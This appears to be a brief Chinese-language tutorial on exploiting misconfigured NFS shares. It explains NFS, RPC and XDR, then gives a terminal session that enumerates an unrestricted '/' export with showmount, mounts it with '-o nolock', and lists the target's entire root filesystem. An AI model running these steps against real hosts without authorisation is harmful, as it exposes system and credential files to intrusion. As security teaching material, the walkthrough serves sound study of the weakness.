0x01.NFS简介
NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。RPC采用了XDR的支持。XDR是一种与机器无关的数据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支持在异构系统之间数据的传送。
0x02.漏洞原理
网络文件系统,允许网络中的计算机通过TCP/IP网络共享资源。基于Linux系统,配置方面很简单。在nfs配置中,有不做任何限制的,有限制用户,有限制IP,以及在版本2.x中我们还可以使用证书来验证用户。当然不同的限制可以采用的攻击方式也不一样;就目前而言网上关于nfs的攻击还是比较少的!
0x03.漏洞利用
root@gnu:~# showmount --all 192.168.1.111 All mount points on 192.168.1.111: 192.168.1.113:/ root@gnu:~# showmount --exports 192.168.1.111 Export list for 192.168.1.111: / * root@gnu:~# mount -t nfs 192.168.1.111 /mnt/nfs/ mount.nfs: remote share not in 'host:dir' format root@gnu:~# mount -t nfs 192.168.1.111:/ /mnt/nfs/ mount.nfs: rpc.statd is not running but is required for remote locking. mount.nfs: Either use '-o nolock' to keep locks local, or start statd. mount.nfs: an incorrect mount option was specified root@gnu:~# mount -t nfs 192.168.1.111:/ /mnt/nfs/ -o nolock root@gnu:~# ls /mnt/nfs/ bin cdrom etc initrd lib media nohup.out proc sbin sys usr vmlinuz boot dev home initrd.img lost+found mnt opt root srv tmp var